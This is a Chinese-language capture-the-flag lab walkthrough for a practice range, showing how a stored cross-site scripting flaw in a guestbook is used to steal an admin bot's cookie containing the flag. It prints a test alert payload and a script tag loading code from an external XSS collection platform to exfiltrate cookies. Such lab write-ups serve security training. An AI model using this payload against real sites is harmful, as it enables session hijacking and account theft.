封神台靶場:第四章:為了更多的權限!留言板!【配套課時:cookie偽造目標權限 實戰演練】


Tips:
1、存儲型Xss
2、flag在cookie里,格式為zkz{..},xss bot 每10秒訪問一次頁面
3、自建Xss平台源碼:http://www.zkaq.org/?t/99.html

經過一番操作,尤里雖然進入到后台,竊竊自喜的他不滿足於此,作為黑闊他要挑戰曾經的自己,他要攻克之前失手的網站!
他重新瀏覽之前的網站,這時他突然發現了一個留言板功能。而留言板管理員是每天都會去查閱的。
尤里開始動手……

靶場地址

http://59.63.200.79:8004/Feedback.asp
留言框輸入
<script>alert('123')</script>

 

 彈窗成功

發現留言框可以注入,存在注入點

在線xss平台  https://xss.pt/ 

注冊完成之后,創建項目

 

 

 點擊下一步,完成創建!!!

找到這個鏈接

 

 用上面的鏈接進行xss存儲型注入

在留言反饋的內容那里進行注入,注入代碼如下
 <script src=https://xss.pt/F672></script>

注入完成之后,需要等待一段時間。大概10分鍾左右吧,就會收到網站的回復啦。

 

 展開查看,發現flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM